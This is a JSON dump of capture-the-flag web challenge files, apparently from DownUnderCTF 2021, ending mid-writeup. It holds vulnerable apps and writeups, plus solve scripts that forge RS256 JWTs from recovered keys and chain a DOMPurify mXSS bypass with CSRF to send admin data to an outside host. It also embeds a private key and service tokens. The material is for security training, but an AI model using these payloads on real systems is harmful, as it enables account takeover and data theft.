    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVY\nkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQABAmEK\npfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUdsIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2Bw\nMRfpIfKlS/QW0gX/TR+btntJc6P8wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shP\neffCNh+VXzu3s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G\n9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+AVkdrkSG\naV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4kdR6HwflOVyaziHjre5zY\n79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPtsga15EDaXO+lTIe0eeM7aaO3kJzEFdKlf\nTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "web/jwt/challenge/pub",
    "content": "-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD\nz1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ\nya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB\n-----END PUBLIC KEY-----\n"
  },
  {
    "path": "web/jwt/challenge.yml",
    "content": "version: \"0.1\"\nid: jwt\nname: JWT\ncategory: web\ndescription: >\n  Everyone knows you can offline brute force HS256. Is RS256 vulnerable too?\n\n\n  Author: 247CTF.com\n\nconnection_info: ${url}\n\ntags:\n  - medium\n  - crypto\n\nflags:\n  - DUCTF{json_web_trickeryyy}\n"
  },
  {
    "path": "web/jwt/docker-compose.yml",
    "content": "version: '3'\nservices:\n  jwt:\n    build: .\n    ports:\n      - \"1337:80\"\n"
  },
  {
    "path": "web/jwt/solve/requirements.txt",
    "content": "certifi==2021.5.30\ncffi==1.14.6\ncharset-normalizer==2.0.4\ncryptography==3.4.8\ngmpy2==2.0.8\nidna==3.2\npycparser==2.20\npycryptodome==3.10.1\nPyJWT==2.1.0\nrequests==2.26.0\nurllib3==1.26.6\n"
  },
  {
    "path": "web/jwt/solve/solve.py",
    "content": "# solve script written by joseph\n\nimport requests\nfrom hashlib import sha256\nfrom base64 import urlsafe_b64decode\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number import bytes_to_long, long_to_bytes\nimport gmpy2\n\ndef pkcs1_v1_5_encode(msg: bytes, n_len: int):\n    SHA256_Digest_Info = b'\\x30\\x31\\x30\\x0D\\x06\\x09\\x60\\x86\\x48\\x01\\x65\\x03\\x04\\x02\\x01\\x05\\x00\\x04\\x20'\n    T = SHA256_Digest_Info + sha256(msg).digest()\n    PS = b'\\xFF' * (n_len - len(T) - 3)\n    return b'\\x00\\x01' + PS + b'\\x00' + T\n\n# from https://ctftime.org/writeup/26173\ndef get_magic(jwt):\n    header, payload, signature = jwt.split(\".\")\n\n    raw_signature = urlsafe_b64decode(f\"{signature}==\")\n    raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature))\n\n    padded_msg = pkcs1_v1_5_encode(f\"{header}.{payload}\".encode(), len(raw_signature))\n    padded_int = gmpy2.mpz(bytes_to_long(padded_msg))\n\n    e = gmpy2.mpz(65537)\n    return gmpy2.mpz(pow(raw_signature_int, e) - padded_int)\n\njwt0 = requests.get('http://0.0.0.0:1337/get_token').text\njwt1 = requests.get('http://0.0.0.0:1337/get_token').text\n# jwt0 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgwOS4xNjQzMDF9.BV5n_9LpciesgBgO8wy7owjMIQoFj5OPP1vsN-S_V47rZFnSrDYDooxeIT6f9369tC2-NOpusU_6Xfyh_TLTdiIZU9LeS-KNZlENsj2F5St6A6jXgdfq0aS27ltMHRSwVA'\n# jwt1 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgxOC45OTIzNzl9.CwYmWPSd4T8NHzi8YcfuCUTMHU4jwkFvzqPSzJnp3ItBmeu_bXDSB5_qng9lO80bQp-l7JFHgHwo9VYKac4xy9m9PGFq3NPJfpjLO59mkyMsNW5-uhVkRyh-rkQWma-sHA'\nmagic0 = get_magic(jwt0)\nmagic1 = get_magic(jwt1)\n\nN = int(gmpy2.gcd(magic0, magic1))\nprint(hex(N))\n\nassert N % 29 == 0\np = 29\nq = N//p\ne = 0x10001\nd = pow(e, -1, (p-1)*(q-1))\n\n# generate private key\nkey = RSA.construct((N, e, d))\nPRIV_KEY = key.exportKey().decode()\nprint(PRIV_KEY)\n\nimport jwt\ntoken = jwt.encode({'admin': True}, PRIV_KEY, algorithm='RS256')\nprint(token)\n\nflag = requests.post('http://0.0.0.0:1337/get_flag', data={ 'jwt': token })\nprint(flag.text)\n"
  },
  {
    "path": "web/notepad/Dockerfile",
    "content": "FROM python:3.9-slim\n\nRUN pip install --no-cache-dir quart quart-rate-limiter aioredis requests uvicorn[standard] gunicorn\n\nWORKDIR /srv\nCOPY ./src/ /srv/\nCOPY ./flag.txt /srv/\n\nENTRYPOINT [ \"gunicorn\", \"-b\", \"0.0.0.0:5000\", \"-k\", \"uvicorn.workers.UvicornWorker\", \"app:app\" ]"
  },
  {
    "path": "web/notepad/README.md",
    "content": "# Notepad\n\n**Category**: web\n\n**Difficulty**: Hard\n\n**Author**: todo#7331\n\n## Flavour\n\nI made a markdown editor for all your hacking notes!\n\n## Description\n\nA CSRF challenge which aims to get users to weaponize a self XSS.\n\nUsers able able to do a simple self stored xss using a well-known mxss payload to bypass dompurify. The difficulty will be to modify this payload into something that can perform non-trivial actions.\nPretty much every page on the site is also vulnerable to CSRF attacks. Players can hence direct the admin to a custom site containing two iframes to perform a CSRF chain exploit in order to leak the content of a admin-only route.\n\nDifficulty is hard as it involves chaining together two medium-hard difficulty exploits.\n\n## Writeup\n\n_A solve script can be found in ./solve - the hosts will need to be updated_\n\n1. Player notices the use of DOMPurify < 2.1.0, this has well known mxss bypasses.\n    1. e.g. `<math><mtext><table><mglyph><style><!--</style><img title=\"--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;\">`\n    1. This payload needs to be slightly adapted since it is injected into a markdown environment which will wrap it in `<p></p>`\n    1. Since this is naive we can wrap this as `a</p>MXSS<style>` to close the opening `<p>` and ignore the trailing `</p>`\n2. Player is then able to setup a arbitrary self-xss\n3. Player notices `/admin` endpoint which probably we want to look at\n4. Player notices the compelte lack of csrf protections on a application that is very form driven\n5. Player constructs a exploit chain as follows\n    1. Player puts a self-xss payload which attempt to exfil the contents of `/admin`\n    2. Player performs a CSRF to login the admin in as their own account\n        1. The player observes that the login doesn't reset the `admin` flag and as such we can both trigger the self-xss and be a admin\n    3. The self-xss triggers and exfils the flag\n\n## Unintended Solves\n\n - An unintended solve was found where it was possible to send the admin directly to a `javascript:` uri, allowing simple xss without any csrf\n   - Payload by @WeaveAche: `javascript:fetch(\"https://web-notepad-f6ed1a7d.chal-2021.duc.tf/admin\").then(a => {a.text().then(b)=>fetch(\"http://example.com/?data=\"+btoa(b))})})`\n\n## Running\n\n`docker-compose up`\n\nCan be shared, we don't even need to pray to the uuid gods.\n"
  },
  {
    "path": "web/notepad/challenge.yml",
    "content": "version: \"0.1\"\nid: notepad\nname: Notepad\ncategory: web\ndescription: |\n  I made a markdown editor for all your hacking notes!\n\n  Author: todo#7331\n\nconnection_info: ${url}\n\ntags:\n  - hard\n\nfiles:\n  - ./publish/app.py\n\nflags:\n  - DUCTF{ch4ining_c5rf_c4uses_cha0s_2045c24d}\n"
  },
  {
    "path": "web/notepad/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  redis:\n    image: redis\n  marvin:\n    image: ghcr.io/downunderctf/docker-vendor/xssbot:chrome\n    privileged: true\n    environment:\n      OUTBOUND_AUTH_METHOD: http-get\n      NODE_ENVIRONMENT: development\n      OUTBOUND_AUTH_HTTP_GET_URL: https://web-notepad-f6ed1a7d.chal-2021.duc.tf/admin/marvin-login?token=50836e6f7a5bb45cf77554e8618f0bc7\n  notepad:\n    image: notepad.web.ctf.local\n    build: .\n    environment:\n      MARVIN_HOST: marvin\n      MARVIN_TOKEN: 50836e6f7a5bb45cf77554e8618f0bc7\n      SECRET_KEY: 7a1ed1d0c800f8aa4f4f13593a63b0e2\n      REDIS_HOST: redis\n    ports:\n      - 8000:5000\n"
  },
  {
    "path": "web/notepad/flag.txt",
    "content": "DUCTF{ch4ining_c5rf_c4uses_cha0s_2045c24d}"
  },
  {
    "path": "web/notepad/publish/app.py",
    "content": "import datetime as dt\nimport hashlib\nimport os\nimport random\nimport secrets\n\nimport aioredis\nimport quart\nimport quart_rate_limiter\nfrom quart_rate_limiter.redis_store import RedisStore\nimport requests\n\nSECRET_KEY   = os.environ['SECRET_KEY']\nREDIS_HOST   = os.environ['REDIS_HOST']\n\nredis = aioredis.from_url(f\"redis://{REDIS_HOST}\")\n\napp = quart.Quart(__name__)\nredis_store = RedisStore(f\"redis://{REDIS_HOST}\")\nlimiter = quart_rate_limiter.RateLimiter(app, store=redis_store)\n\napp.config['SECRET_KEY'] = SECRET_KEY\napp.config['SESSION_COOKIE_SECURE'] = True\napp.config['SESSION_COOKIE_SAMESITE'] = 'None'\n\ndef password_hash(password: str, *, salt: bytes=None) -> str:\n    salt = salt or random.randbytes(16)\n    hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)\n\n    return f\"{salt.hex()}:{hashed.hex()}\"\n\ndef password_verify(password: str, hashed: str) -> bool:\n    try:\n        salt, hash_ = map(bytes.fromhex, hashed.split(':'))\n    except ValueError:\n        return False\n    \n    return hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000) == hash_\n\nasync def login(username: str, password: str) -> bool:\n    password_hash = await redis.get(f'user:{username}')\n    if password_hash is None:\n        return False\n    \n    return password_verify(password, password_hash.decode())\n\nasync def register(username: str, password: str) -> bool:\n    # race condition but :shrug:\n    if await redis.get(f'user:{username}'):\n        return False\n    \n    await redis.set(f'user:{username}', password_hash(password))\n    return True\n\nasync def get_user_note(username: str) -> str:\n    note = await redis.get(f'note:{username}')\n    return '' if note is None else note.decode()\n\nasync def set_user_note(username: str, note: str):\n    await redis.set(f'note:{username}', note)\n\n@app.before_serving\nasync def startup():\n    print('Notepad starting...')\n    # We don't care if this fails, we just want to reserve the admin username so no one gets confused\n    await register('admin', secrets.token_hex(24))\n\n@app.after_request\nasync def add_security_headers(resp):\n    resp.headers['Content-Security-Policy'] = \"frame-ancestors 'none'\"\n    resp.headers['X-Frame-Options'] = 'none'\n    return resp\n\n@app.errorhandler(404)\nasync def not_found(e):\n    return \"404 Not Found\", 404\n\n@app.route('/')\nasync def index():\n    return await quart.render_template('index.html')\n\n@app.route('/robots.txt')\nasync def robots():\n    return \"Disallow:\\n/admin\\n/me\", 200, {'Content-Type': 'text/plain'}\n\n@app.route('/login', methods=['GET', 'POST'])\nasync def login_():\n    err = ''\n    if quart.request.method == \"POST\":\n        form = await quart.request.form\n        username, password = map(form.get, ['username', 'password'])\n\n        if username is None or password is None:\n            err = \"Username and password must be specified\"\n        elif not await login(username, password):\n            err = \"Invalid username or password\"\n        else:\n            quart.session['user'] = username\n            return quart.redirect(quart.url_for('me'))\n    \n    return await quart.render_template('login.html', err=err)\n\n@app.route('/register', methods=['GET', 'POST'])\nasync def register_():\n    err = ''\n    if quart.request.method == \"POST\":\n        form = await quart.request.form\n        username, password = map(form.get, ['username', 'password'])\n\n        if username is None or password is None:\n            err = \"Username and password must be specified\"\n        elif not await register(username, password):\n            err = \"Username already in-use\"\n        else:\n            return quart.redirect(quart.url_for('login_'))\n    \n    \n    return await quart.render_template('register.html', err=err)\n\n@app.route('/logout')\nasync def logout_():\n    quart.session.clear()\n    return quart.redirect(quart.url_for('index'))\n\n@app.route('/me', methods=['GET', 'POST'])\nasync def me():\n    user = quart.session.get('user')\n    if not user:\n        return quart.redirect(quart.url_for('index'))\n\n    err = ''\n    if quart.request.method == 'POST':\n        form = await quart.request.json\n        note = form.get('note', '')\n\n        await set_user_note(user, note)\n    else:\n        note = await get_user_note(user)\n\n    return await quart.render_template('me.html', note=note, username=user)\n\n@app.route('/admin')\nasync def admin():\n    if quart.session.get('admin') != 1:\n        return \"\", 403\n    return open('flag.txt').read()\n\n@app.route('/report', methods=[\"GET\", \"POST\"])\n@quart_rate_limiter.rate_limit(5, dt.timedelta(seconds=10))\nasync def report():\n    user = quart.session.get('user')\n    if not user:\n        return quart.redirect(quart.url_for('index'))\n    if quart.session.get('admin') == 1:\n        # Just in case anyone tries it\n        return \"You're the admin... Go fix it yourself\", 418\n\n    if quart.request.method == 'POST':\n        form = await quart.request.form\n        url = form.get('url')\n        if url:\n            __stub_get_url(url)\n            return quart.redirect(quart.url_for('me'))\n\n    return await quart.render_template('report.html')\n\n@app.route('/__stub/admin/login')\nasync def __stub_admin_login():\n    quart.session['admin'] = 1\n    return \"Ok\"\n"
  },
  {
    "path": "web/notepad/solve/index.html",
    "content": "<form action=\"{{baseurl}}/login\" method=\"POST\">\n    <input name=\"username\" value=\"{{username}}\">\n    <input name=\"password\" value=\"{{password}}\">\n</form>\n<script>document.querySelector('form').submit()</script>\n"
  },
  {
    "path": "web/notepad/solve/solve.py",
    "content": "import base64 as b64\nimport requests\nimport http.server\nimport threading\nimport time\nimport urllib.parse\n\nBASE_URL = 'https://web-notepad-f6ed1a7d.chal-2021.duc.tf'\nCHAL_EXT_URL = BASE_URL\nsess = requests.Session()\n\nSOLVE_USERNAME = 'ductf-solve-bot'\nSOLVE_PASSWORD = '988eecfc7f3e3ab00b1eb077'\nSOLVE_SCRIPT_BIND = '0.0.0.0'\nSOLVE_SCRIPT_PORT = 7000  # Port to bind to if you are sitting behind a proxy\nSOLVE_SCRIPT_HOST = 'REDACTED'\nEXFIL_HTTP = f\"https://{SOLVE_SCRIPT_HOST}/\"\n\nassert SOLVE_SCRIPT_HOST != 'REDACTED', \"Solve script needs a domain name\"\n\nprint('1. Logging in...')\nsess.post(f'{BASE_URL}/register', data={\n    'username': SOLVE_USERNAME,\n    'password': SOLVE_PASSWORD\n})\nsess.post(f'{BASE_URL}/login', data={\n    'username': SOLVE_USERNAME,\n    'password': SOLVE_PASSWORD\n}).raise_for_status()\n\n\nprint('2. Storing a payload')\nEXFIL_SCRIPT = b64.b64encode(\"\"\"\nfetch('/admin',{credentials:'include'}).then(t=>t.text()).then(t=>location='{{exfil}}'+btoa(t))\n\"\"\".strip().replace('{{exfil}}', EXFIL_HTTP).encode()).decode()\n\nMXSS_EXFIL = 'a</p>' \\\n    '<math><mtext><table><mglyph><style><!--</style><img title=\"--></mglyph>' \\\n    f'<img&Tab;src=1&Tab;onerror=eval(atob(\\'{EXFIL_SCRIPT}\\'));&gt;\">' \\\n    '<style>'\n\nsess.post(f'{BASE_URL}/me', data={\n    'note': MXSS_EXFIL\n})\n\nprint('3. Spin up a malicious server')\ndef server():\n    stop = False\n    class Handler(http.server.BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"text/html\")\n            self.end_headers()\n\n            if self.path == '/':\n                self.wfile.write(\n                    open('index.html').read()\n                        .replace('{{username}}', SOLVE_USERNAME)\n                        .replace('{{password}}', SOLVE_PASSWORD)\n                        .replace('{{baseurl}}',  CHAL_EXT_URL)\n                        .encode()\n                )\n            else:\n                stop = True\n                print(self.path)\n    httpd = http.server.HTTPServer((SOLVE_SCRIPT_BIND, SOLVE_SCRIPT_PORT), Handler)\n    print(f'[+] Started HTTP Server for {SOLVE_SCRIPT_HOST}:{SOLVE_SCRIPT_PORT} serving malicious payload')\n    while not stop:\n        httpd.handle_request()\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\n\ntime.sleep(3)\n\nprint('4. Tell the admin to get the site')\nsess.post(f'{BASE_URL}/report', data={\n    'url': f'http://{SOLVE_SCRIPT_HOST}:{SOLVE_SCRIPT_PORT}/'\n})\n\ntime.sleep(3)\nserver_thread.join()\n"
  },
  {
    "path": "web/notepad/src/app.py",
    "content": "import datetime as dt\nimport hashlib\nimport os\nimport random\nimport secrets\n\nimport aioredis\nimport quart\nimport quart_rate_limiter\nfrom quart_rate_limiter.redis_store import RedisStore\nimport requests\n\nMARVIN_HOST  = os.environ['MARVIN_HOST']\nMARVIN_TOKEN = os.environ['MARVIN_TOKEN']\nSECRET_KEY   = os.environ['SECRET_KEY']\nREDIS_HOST   = os.environ['REDIS_HOST']\n\nredis = aioredis.from_url(f\"redis://{REDIS_HOST}\")\n\napp = quart.Quart(__name__)\nredis_store = RedisStore(f\"redis://{REDIS_HOST}\")\nlimiter = quart_rate_limiter.RateLimiter(app, store=redis_store)\n\napp.config['SECRET_KEY'] = SECRET_KEY\napp.config['SESSION_COOKIE_SECURE'] = True\napp.config['SESSION_COOKIE_SAMESITE'] = 'None'\n\ndef password_hash(password: str, *, salt: bytes=None) -> str:\n    salt = salt or random.randbytes(16)\n    hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)\n\n    return f\"{salt.hex()}:{hashed.hex()}\"\n\ndef password_verify(password: str, hashed: str) -> bool:\n    try:\n        salt, hash_ = map(bytes.fromhex, hashed.split(':'))\n    except ValueError:\n        return False\n    \n    return hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000) == hash_\n\nasync def login(username: str, password: str) -> bool:\n    password_hash = await redis.get(f'user:{username}')\n    if password_hash is None:\n        return False\n    \n    return password_verify(password, password_hash.decode())\n\nasync def register(username: str, password: str) -> bool:\n    # race condition but :shrug:\n    if await redis.get(f'user:{username}'):\n        return False\n    \n    await redis.set(f'user:{username}', password_hash(password))\n    return True\n\nasync def get_user_note(username: str) -> str:\n    note = await redis.get(f'note:{username}')\n    return '' if note is None else note.decode()\n\nasync def set_user_note(username: str, note: str):\n    await redis.set(f'note:{username}', note)\n\n@app.before_serving\nasync def startup():\n    print('Notepad starting...')\n    # We don't care if this fails, we just want to reserve the admin username so no one gets confused\n    await register('admin', secrets.token_hex(24))\n\n@app.after_request\nasync def add_security_headers(resp):\n    resp.headers['Content-Security-Policy'] = \"frame-ancestors 'none'\"\n    resp.headers['X-Frame-Options'] = 'none'\n    return resp\n\n@app.errorhandler(404)\nasync def not_found(e):\n    return \"404 Not Found\", 404\n\n@app.route('/')\nasync def index():\n    return await quart.render_template('index.html')\n\n@app.route('/robots.txt')\nasync def robots():\n    return \"Disallow:\\n/admin\\n/me\", 200, {'Content-Type': 'text/plain'}\n\n@app.route('/login', methods=['GET', 'POST'])\nasync def login_():\n    err = ''\n    if quart.request.method == \"POST\":\n        form = await quart.request.form\n        username, password = map(form.get, ['username', 'password'])\n\n        if username is None or password is None:\n            err = \"Username and password must be specified\"\n        elif not await login(username, password):\n            err = \"Invalid username or password\"\n        else:\n            quart.session['user'] = username\n            return quart.redirect(quart.url_for('me'))\n    \n    return await quart.render_template('login.html', err=err)\n\n@app.route('/register', methods=['GET', 'POST'])\nasync def register_():\n    err = ''\n    if quart.request.method == \"POST\":\n        form = await quart.request.form\n        username, password = map(form.get, ['username', 'password'])\n\n        if username is None or password is None:\n            err = \"Username and password must be specified\"\n        elif not await register(username, password):\n            err = \"Username already in-use\"\n        else:\n            return quart.redirect(quart.url_for('login_'))\n    \n    \n    return await quart.render_template('register.html', err=err)\n\n@app.route('/logout')\nasync def logout_():\n    quart.session.clear()\n    return quart.redirect(quart.url_for('index'))\n\n@app.route('/me', methods=['GET', 'POST'])\nasync def me():\n    user = quart.session.get('user')\n    if not user:\n        return quart.redirect(quart.url_for('index'))\n\n    err = ''\n    if quart.request.method == 'POST':\n        form = await quart.request.get_json()\n        note = form.get('note', '')\n\n        await set_user_note(user, note)\n    else:\n        note = await get_user_note(user)\n\n    return await quart.render_template('me.html', note=note, username=user)\n\n@app.route('/admin')\nasync def admin():\n    if quart.session.get('admin') != 1:\n        return \"\", 403\n    return open('flag.txt').read()\n\n@app.route('/report', methods=[\"GET\", \"POST\"])\n@quart_rate_limiter.rate_limit(5, dt.timedelta(seconds=10))\nasync def report():\n    user = quart.session.get('user')\n    if not user:\n        return quart.redirect(quart.url_for('index'))\n    if quart.session.get('admin') == 1:\n        # Just in case anyone tries it\n        return \"You're the admin... Go fix it yourself\", 418\n\n    if quart.request.method == 'POST':\n        form = await quart.request.form\n        url = form.get('url')\n        if url:\n            requests.post(\n                f'http://{MARVIN_HOST}/visit',\n                json={'url': url},\n                headers={'x-ssrf-protection': '1'}\n            )\n            return quart.redirect(quart.url_for('me'))\n\n    return await quart.render_template('report.html')\n\n@app.route('/admin/marvin-login')\nasync def marvin_login():\n    if quart.request.args.get('token') == MARVIN_TOKEN:\n        quart.session['user'] = 'admin'\n        quart.session['admin'] = 1\n        return \"Ok\"\n    return \"404 Not Found\", 404\n"
  },
  {
    "path": "web/notepad/src/templates/_pretty.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <title>Notepad</title>\n        <link rel=\"stylesheet\" href=\"https://unpkg.com/chota@latest\">\n        {% block load %}{% endblock %}\n    </head>\n    <body class=\"is-center\" style=\"height: 100vh; background: linear-gradient(to right, #00d2ff, #3a7bd5);\">\n        <main style=\"width: 45vw; border-radius: 0\" class=\"card\">\n            <header>{% block header %}{% endblock %}</header>\n            <section>{% block content %}{% endblock %}</section>\n            <footer>{% block footer %}{% endblock %}</footer>\n        </main>\n    </body>\n</html>"
  },
  {
    "path": "web/notepad/src/templates/index.html",
    "content": "{% extends \"_pretty.html\" %}\n{% block header %}\n<h1>Notepad</h1>\n{% endblock %}\n{% block content %}\n<section style=\"margin-bottom: 2.5em;\">\n    <div class=\"is-center\">\n        <img src=\"https://source.unsplash.com/ycTvvg1mPU4/640x480\" style=\"max-width: 75%;\">\n    </div>\n    <p>A free online notepad. Might be helpful for taking notes whilst you hack!</p>\n    <p>Now with full markdown support!</p>\n    <p style=\"display: flex; justify-content: space-around;\">\n        <a href=\"/login\" class=\"button primary\">Login</a>\n        <a href=\"/register\" class=\"button\">Register</a>\n    </p>\n</section>\n{% endblock %}\n{% block footer %}\n<small>\nImage By <a href=\"https://unsplash.com/@jessbaileydesigns\">Jess Bailey</a> on <a href=\"https://unsplash.com/\">Unspash</a>\n</small>\n{% endblock %}"
  },
  {
    "path": "web/notepad/src/templates/login.html",
    "content": "{% extends \"_pretty.html\" %}\n{% block header %}\n<h1>Notepad | Login</h1>\n{% endblock %}\n{% block content %}\n<section style=\"margin-bottom: 2.5em;\">\n    <p class=\"text-error\">{{ err }}</p>\n    <form action=\"/login\" method=\"POST\">\n        <p>\n            <label for=\"username\">Username</label>\n            <input id=\"username\" type=\"text\" name=\"username\" placeholder=\"foobar\" required>\n        </p>\n        <p>\n            <label for=\"password\">Password</label>\n            <input id=\"password\" type=\"password\" name=\"password\" placeholder=\"hunter2\" required>\n        </p>\n        <button class=\"button primary\">Login</button>\n    </form>\n</section>\n{% endblock %}"
  },
  {
    "path": "web/notepad/src/templates/me.html",
    "content": "{% extends \"_pretty.html\" %}\n{% block load %}\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/showdown/1.9.1/showdown.min.js\" integrity=\"sha512-L03kznCrNOfVxOUovR6ESfCz9Gfny7gihUX/huVbQB9zjODtYpxaVtIaAkpetoiyV2eqWbvxMH9fiSv5enX7bw==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js\" integrity=\"sha512-pAsGSA54gmV3kpBZBDMk7SgP6DnYNNzj6ZFZ6//jUKOaXSSkE5sdbZMazo3u5QOofhZoGeNwo4Z4e526HPQhcg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n{% endblock %}\n{% block header %}\n<h1>Welcome {{ username }}</h1>\n{% endblock %}\n{% block content %}\n<section style=\"margin-bottom: 2.5em;\">\n    <h4>Your Notepad</h4>\n    <nav class=\"tabs is-full\">\n        <a data-view-trigger=\"view\" class=\"active\">View</a>\n        <a data-view-trigger=\"edit\">Edit</a>\n    </nav>\n    <form action=\"/me\" method=\"POST\" id=\"note-form\">\n        <section data-view=\"view\">\n            <div id=\"markdown\">Nothing here yet...</div>\n        </section>\n        <section data-view=\"edit\" class=\"is-hidden\">\n            <textarea style=\"font-family: monospace;\" rows=\"20\" name=\"note\" id=\"editor\">{{ note }}</textarea>\n        </section>\n        <button class=\"button primary\">Save</button>\n    </form>\n</section>\n<section style=\"display: flex; justify-content: space-around;\">\n    <a href=\"/report\" class=\"button\">Report a Bug</a>\n    <a href=\"/logout\" class=\"button error\">Logout</a>\n</section>\n<script>\n    (function() {\n        const converter = new showdown.Converter();\n        const tabs = Array.from(document.querySelectorAll('.tabs > a'));\n        const views = Array.from(document.querySelectorAll('[data-view]'));\n        const noteForm = document.querySelector('#note-form');\n        const markdown = document.querySelector('#markdown');\n        const editor = document.querySelector('#editor');\n\n        tabs.forEach(tab => {\n            tab.addEventListener('click', () => {\n                tabs.forEach(t => t.classList.remove('active'));\n                tab.classList.add('active');\n                views.forEach(v => v.classList.add('is-hidden'));\n                const view = tab.getAttribute('data-view-trigger');\n                document.querySelector(`[data-view=\"${view}\"]`)?.classList.remove('is-hidden');\n\n                if(view === 'view') {\n                    markdown.innerHTML = DOMPurify.sanitize(converter.makeHtml(editor.value));\n                }\n            })\n        });\n\n        noteForm.addEventListener('submit', e => {\n            e.preventDefault();\n            e.stopImmediatePropagation();\n\n            fetch('/me', {\n                method: 'POST',\n                credentials: 'include',\n                headers: {'content-type': 'application/json'},\n                body: JSON.stringify({note: editor.value})\n            }).then(r => alert('Saved!'));\n        });\n\n        markdown.innerHTML = DOMPurify.sanitize(converter.makeHtml(editor.value));\n    })();\n</script>\n{% endblock %}"
  },
  {
    "path": "web/notepad/src/templates/register.html",
    "content": "{% extends \"_pretty.html\" %}\n{% block header %}\n<h1>Notepad | Register</h1>\n{% endblock %}\n{% block content %}\n<section style=\"margin-bottom: 2.5em;\">\n    <p class=\"text-error\">{{ err }}</p>\n    <form action=\"/register\" method=\"POST\">\n        <p>\n            <label for=\"username\">Username</label>\n            <input id=\"username\" type=\"text\" name=\"username\" placeholder=\"foobar\" required>\n        </p>\n        <p>\n            <label for=\"password\">Password</label>\n            <input id=\"password\" type=\"password\" name=\"password\" placeholder=\"hunter2\" required>\n        </p>\n        <button class=\"button primary\">Register</button>\n    </form>\n</section>\n{% endblock %}"
  },
  {
    "path": "web/notepad/src/templates/report.html",
    "content": "{% extends \"_pretty.html\" %}\n{% block header %}\n<h1>Notepad | Report</h1>\n{% endblock %}\n{% block content %}\n<section style=\"margin-bottom: 2.5em;\">\n    <form action=\"/report\" method=\"POST\">\n        <p>\n            <label for=\"url\">Report Bug</label>\n            <input id=\"url\" type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>\n        </p>\n        <button class=\"button primary\">Report</button>\n    </form>\n</section>\n{% endblock %}"
  },
  {
    "path": "web/secret_bin/Dockerfile",
    "content": "FROM python:3.9-slim-buster AS base\n\nFROM base AS build\n\nCOPY requirements.txt /tmp/requirements.txt\n\nENV VIRTUAL_ENV=\"/opt/venv\"\nENV PATH=\"$VIRTUAL_ENV/bin:$PATH\"\n\nRUN python3 -m venv \"$VIRTUAL_ENV\" \\\n && pip install -r /tmp/requirements.txt\n\n\nFROM base AS dist\n\nRUN groupadd -g 1000 -r ctf && useradd -u 1000 --no-log-init -r -g ctf ctf\nUSER ctf\n\nENV VIRTUAL_ENV=\"/opt/venv\"\nENV PATH=\"$VIRTUAL_ENV/bin:$PATH\"\n\nCOPY --from=build /opt/venv \"$VIRTUAL_ENV\"\n\nWORKDIR /srv\nCOPY ./src /srv\n\nEXPOSE 1337/tcp\n\nENTRYPOINT [ \"uvicorn\", \"app:app\" ]\nCMD [ \"--host\", \"0.0.0.0\", \"--port\", \"1337\", \"--workers\", \"2\", \"--forwarded-allow-ips=*\", \"--proxy-headers\" ]\n\n"
  },
  {
    "path": "web/secret_bin/README.md",
    "content": "# Secrets Bin\n\n**Category**: Web\n\n**Difficulty**: Easy - Medium\n\n**Author**: todo#7331\n\n**Flavor Text**: _Since everyone loves dumping their secrets into pastebin, I decided to make a dedicated service for it instead! I've added few secrets myself to inflate our marketing numbers, I wonder if you can find them._\n\n## Description\n\nUUIDv1s are predictable, this challenge essentially involves identifying that fact and using it to IDOR some secrets.\n\n## Writeup\n\n_A solve script can be found in ./solve_\n\nUUIDv1 is composed of a timestamp, clock_seq, and node_id, these are predictable values and if a timestamp is known the expected search size is generally very small.\nSpecifically the UUID construction looks like.\n```\nE.g.    bdd28aba-f461-11eb-8a53-00155d1c46cb\nFormat: TTTTTTTT-TTTT-1TTT-CCCC-NNNNNNNNNNNN\n\n1 -> Literal 1 (identifies version)\nT -> Timestamp (60 bits) = 1ebf461bdd28aba\nC -> Clock Seq (14 bits) = 8a53\nN -> Node Id   (48 bits) = 00155d1c46cb\n```\nWe will attempt to 